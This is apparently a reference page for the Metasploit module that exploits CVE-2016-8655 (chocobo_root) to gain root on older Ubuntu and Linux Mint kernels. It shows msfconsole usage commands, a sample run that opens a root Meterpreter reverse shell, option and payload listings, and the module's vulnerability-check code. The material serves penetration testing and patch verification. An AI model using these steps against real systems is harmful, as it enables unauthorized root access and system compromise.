AF_PACKET chocobo_root Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/af_packet_chocobo_root_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: AF_PACKET chocobo_root Privilege Escalation
Module: exploit/linux/local/af_packet_chocobo_root_priv_esc
Source code: modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb
Disclosure date: 2016-08-12
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-8655
This module is also known as chocobo_root.c.
This module exploits a race condition and use-after-free in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2016-8655). The bug was initially introduced in 2011 and patched in 2016 in version 4.4.0-53.74, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as Linux Mint. The target system must have unprivileged user namespaces enabled, two or more CPU cores, and SMAP must be disabled. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on Linux Mint 17.3 (x86_64); Linux Mint 18 (x86_64); Ubuntu 16.04 (x86_64); and Ubuntu 16.04.2 (x86_64).
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-os-down: Module may crash the OS, and the OS remains down.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/af_packet_chocobo_root_priv_esc
msf exploit(af_packet_chocobo_root_priv_esc) > show targets
... a list of targets ...
msf exploit(af_packet_chocobo_root_priv_esc) > set TARGET target-id
msf exploit(af_packet_chocobo_root_priv_esc) > show options
... show and set options ...
msf exploit(af_packet_chocobo_root_priv_esc) > set SESSION session-id
msf exploit(af_packet_chocobo_root_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module exploits a race condition and use-after-free in the
packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in
the Linux kernel to execute code as root (CVE-2016-8655).
The bug was initially introduced in 2011 and patched in 2016 in version 4.4.0-53.74, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as Linux Mint.
The target system must have unprivileged user namespaces enabled, two or more CPU cores, and SMAP must be disabled.
Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel.
Vulnerable Application
This module has been tested successfully on:
- Linux Mint 17.3 (x86_64)
- Linux Mint 18 (x86_64)
- Ubuntu 16.04 (x86_64)
- Ubuntu 16.04.2 (x86_64)
Verification Steps
- Start
msfconsole - Get a session
use exploit/linux/local/af_packet_chocobo_root_priv_escset SESSION [SESSION]checkrun- You should get a new root session
Options
SESSION
Which session to use, which can be viewed with sessions
WritableDir
A writable directory file system path. (default: /tmp)
TIMEOUT
Race timeout (seconds). (default: 600)
COMPILE
Options: Auto True False (default: Auto)
Whether the exploit should be live compiled with gcc on the target system,
or uploaded as a pre-compiled binary.
Auto will first determine if gcc is installed to compile live on the system,
and fall back to uploading a pre-compiled binary.
Compiled Executable
The module makes use of a pre-compiled exploit executable to be
used when gcc is not available on the target host for live compiling,
or COMPILE is set to False.
The executable was cross-compiled with musl-cross.
./x86_64-linux-musl-gcc -o chocobo_root -s -pie -static chocobo_root.c
Scenarios
msf5 > use exploit/linux/local/af_packet_chocobo_root_priv_esc
msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ...
[*] Writing '/tmp/.rMIvkKT' (207 bytes) ...
[*] Launching exploit (Timeout: 600)...
[*] Sending stage (853256 bytes) to 172.16.191.209
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.209:38530) at 2018-05-07 03:07:21 -0400
[+] Deleted /tmp/.iDLrwN3S4.c
[+] Deleted /tmp/.iDLrwN3S4
[+] Deleted /tmp/.rMIvkKT
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.209
OS : Ubuntu 16.04 (Linux 4.4.0-51-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/af_packet_chocobo_root_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/af_packet_chocobo_root_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/af_packet_chocobo_root_priv_esc) > show info
Name: AF_PACKET chocobo_root Privilege Escalation
Module: exploit/linux/local/af_packet_chocobo_root_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2016-08-12
Provided by:
rebel
bcoles <[email protected]>
Module stability:
crash-os-down
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
TIMEOUT 600 yes Race timeout (seconds)
Payload information:
Description:
This module exploits a race condition and use-after-free in the
packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in
the Linux kernel to execute code as root (CVE-2016-8655). The bug
was initially introduced in 2011 and patched in 2016 in version
4.4.0-53.74, potentially affecting a large number of kernels;
however this exploit targets only systems using Ubuntu (Trusty /
Xenial) kernels 4.4.0 < 4.4.0-53, including Linux distros based on
Ubuntu, such as Linux Mint. The target system must have unprivileged
user namespaces enabled, two or more CPU cores, and SMAP must be
disabled. Bypasses for SMEP and KASLR are included. Failed
exploitation may crash the kernel. This module has been tested
successfully on Linux Mint 17.3 (x86_64); Linux Mint 18 (x86_64);
Ubuntu 16.04 (x86_64); and Ubuntu 16.04.2 (x86_64).
References:
https://www.exploit-db.com/exploits/40871
https://nvd.nist.gov/vuln/detail/CVE-2016-8655
http://www.securityfocus.com/bid/94692
https://seclists.org/oss-sec/2016/q4/607
https://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin
https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c
https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c
https://usn.ubuntu.com/3151-1/
https://www.securitytracker.com/id/1037403
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c
Also known as:
chocobo_root.c
Module Options
This is a complete list of options available in the linux/local/af_packet_chocobo_root_priv_esc exploit:
msf6 exploit(linux/local/af_packet_chocobo_root_priv_esc) > show options
Module options (exploit/linux/local/af_packet_chocobo_root_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
TIMEOUT 600 yes Race timeout (seconds)
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/af_packet_chocobo_root_priv_esc exploit:
msf6 exploit(linux/local/af_packet_chocobo_root_priv_esc) > show advanced
Module advanced options (exploit/linux/local/af_packet_chocobo_root_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/af_packet_chocobo_root_priv_esc module can exploit:
msf6 exploit(linux/local/af_packet_chocobo_root_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/af_packet_chocobo_root_priv_esc exploit:
msf6 exploit(linux/local/af_packet_chocobo_root_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/af_packet_chocobo_root_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/af_packet_chocobo_root_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- System architecture <ARCH> is not supported
- Linux kernel <VERSION> is not vulnerable
- SMAP is enabled
- LKRG is installed
- grsecurity is in use
- System has less than <MIN_REQUIRED_CORES> CPU cores
- Could not retrieve kernel config
- Kernel config does not include CONFIG_USER_NS
- Unprivileged user namespaces are not permitted
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
System architecture <ARCH> is not supported
Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:
92: end
93:
94: def check
95: arch = kernel_hardware
96: unless arch.include? 'x86_64'
97: return CheckCode::Safe("System architecture #{arch} is not supported")
98: end
99: vprint_good "System architecture #{arch} is supported"
100:
101: offsets = strip_comments(exploit_data('CVE-2016-8655', 'chocobo_root.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
102: kernels = offsets.scan(/"(.+?)"/).flatten
Linux kernel <VERSION> is not vulnerable
Here is a relevant code snippet related to the "Linux kernel <VERSION> is not vulnerable" error message:
101: offsets = strip_comments(exploit_data('CVE-2016-8655', 'chocobo_root.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
102: kernels = offsets.scan(/"(.+?)"/).flatten
103:
104: version = "#{kernel_release} #{kernel_version.split(' ').first}"
105: unless kernels.include? version
106: return CheckCode::Safe("Linux kernel #{version} is not vulnerable")
107: end
108: vprint_good "Linux kernel #{version} is vulnerable"
109:
110: if smap_enabled?
111: return CheckCode::Safe('SMAP is enabled')
SMAP is enabled
Here is a relevant code snippet related to the "SMAP is enabled" error message:
106: return CheckCode::Safe("Linux kernel #{version} is not vulnerable")
107: end
108: vprint_good "Linux kernel #{version} is vulnerable"
109:
110: if smap_enabled?
111: return CheckCode::Safe('SMAP is enabled')
112: end
113: vprint_good 'SMAP is not enabled'
114:
115: if lkrg_installed?
116: return CheckCode::Safe('LKRG is installed')
LKRG is installed
Here is a relevant code snippet related to the "LKRG is installed" error message:
111: return CheckCode::Safe('SMAP is enabled')
112: end
113: vprint_good 'SMAP is not enabled'
114:
115: if lkrg_installed?
116: return CheckCode::Safe('LKRG is installed')
117: end
118: vprint_good 'LKRG is not installed'
119:
120: if grsec_installed?
121: return CheckCode::Safe('grsecurity is in use')
grsecurity is in use
Here is a relevant code snippet related to the "grsecurity is in use" error message:
116: return CheckCode::Safe('LKRG is installed')
117: end
118: vprint_good 'LKRG is not installed'
119:
120: if grsec_installed?
121: return CheckCode::Safe('grsecurity is in use')
122: end
123: vprint_good 'grsecurity is not in use'
124:
125: cores = get_cpu_info[:cores].to_i
126: min_required_cores = 2
System has less than <MIN_REQUIRED_CORES> CPU cores
Here is a relevant code snippet related to the "System has less than <MIN_REQUIRED_CORES> CPU cores" error message:
123: vprint_good 'grsecurity is not in use'
124:
125: cores = get_cpu_info[:cores].to_i
126: min_required_cores = 2
127: unless cores >= min_required_cores
128: return CheckCode::Safe("System has less than #{min_required_cores} CPU cores")
129: end
130: vprint_good "System has #{cores} CPU cores"
131:
132: config = kernel_config
133: if config.nil?
Could not retrieve kernel config
Here is a relevant code snippet related to the "Could not retrieve kernel config" error message:
129: end
130: vprint_good "System has #{cores} CPU cores"
131:
132: config = kernel_config
133: if config.nil?
134: return CheckCode::Unknown('Could not retrieve kernel config')
135: end
136:
137: unless config.include? 'CONFIG_USER_NS=y'
138: return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS')
139: end
Kernel config does not include CONFIG_USER_NS
Here is a relevant code snippet related to the "Kernel config does not include CONFIG_USER_NS" error message:
133: if config.nil?
134: return CheckCode::Unknown('Could not retrieve kernel config')
135: end
136:
137: unless config.include? 'CONFIG_USER_NS=y'
138: return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS')
139: end
140: vprint_good 'Kernel config has CONFIG_USER_NS enabled'
141:
142: unless userns_enabled?
143: return CheckCode::Safe('Unprivileged user namespaces are not permitted')
Unprivileged user namespaces are not permitted
Here is a relevant code snippet related to the "Unprivileged user namespaces are not permitted" error message:
138: return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS')
139: end
140: vprint_good 'Kernel config has CONFIG_USER_NS enabled'
141:
142: unless userns_enabled?
143: return CheckCode::Safe('Unprivileged user namespaces are not permitted')
144: end
145: vprint_good 'Unprivileged user namespaces are permitted'
146:
147: CheckCode::Appears
148: end
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
148: end
149:
150: def exploit
151: if is_root?
152: unless datastore['ForceExploit']
153: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
154: end
155: end
156:
157: unless writable? base_dir
158: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
153: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
154: end
155: end
156:
157: unless writable? base_dir
158: fail_with Failure::BadConfig, "#{base_dir} is not writable"
159: end
160:
161: # Upload exploit executable
162: executable_name = ".#{rand_text_alphanumeric(5..10)}"
163: executable_path = "#{base_dir}/#{executable_name}"
Go back to menu.
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- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- EDB-40871
- CVE-2016-8655
- BID-94692
- https://seclists.org/oss-sec/2016/q4/607
- https://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin
- https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c
- https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c
- https://usn.ubuntu.com/3151-1/
- https://www.securitytracker.com/id/1037403
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c
See Also
Check also the following modules related to this module:
- exploit/linux/local/af_packet_packet_set_ring_priv_esc
- exploit/linux/http/denyall_waf_exec
- exploit/linux/local/apport_abrt_chroot_priv_esc
- exploit/linux/local/diamorphine_rootkit_signal_priv_esc
- exploit/linux/local/libuser_roothelper_priv_esc
- exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc
- exploit/windows/fileformat/wireshark_packet_dect
- exploit/windows/misc/wireshark_packet_dect
- exploit/android/local/put_user_vroot
- exploit/osx/local/dyld_print_to_file_root
- exploit/osx/local/feedback_assistant_root
- exploit/osx/local/iokit_keyboard_root
- exploit/osx/local/nfs_mount_root
- exploit/osx/local/root_no_password
- exploit/osx/local/rootpipe
- exploit/osx/local/rootpipe_entitlements
- exploit/osx/local/vmware_bash_function_root
- exploit/unix/local/chkrootkit
- auxiliary/scanner/smb/impacket/dcomexec
- auxiliary/scanner/smb/impacket/secretsdump
- auxiliary/scanner/smb/impacket/wmiexec
- auxiliary/gather/saltstack_salt_root_key
- auxiliary/scanner/vnc/ard_root_pw
- post/android/manage/remove_lock_root
- post/linux/busybox/smb_share_root
- post/multi/escalate/cups_root_file_read
Related Nessus plugins:
- Virtuozzo 7 : kernel / kernel-abi-whitelists / kernel-debug / etc (VZLSA-2017-0386)
- Oracle Linux 7 : kernel (ELSA-2017-1842-1) (Stack Clash)
- Photon OS 1.0: Linux / Openssh PHSA-2016-0014 (deprecated)
- Photon OS 1.0: Linux PHSA-2016-0014
- EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1482)
- EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1496)
- Ubuntu 14.04 LTS : linux vulnerability (USN-3149-1)
- Ubuntu 12.04 LTS : linux-lts-trusty vulnerability (USN-3149-2)
- Ubuntu 12.04 LTS : linux vulnerability (USN-3150-1)
- Ubuntu 16.04 LTS : linux vulnerability (USN-3151-1)
Authors
- rebel
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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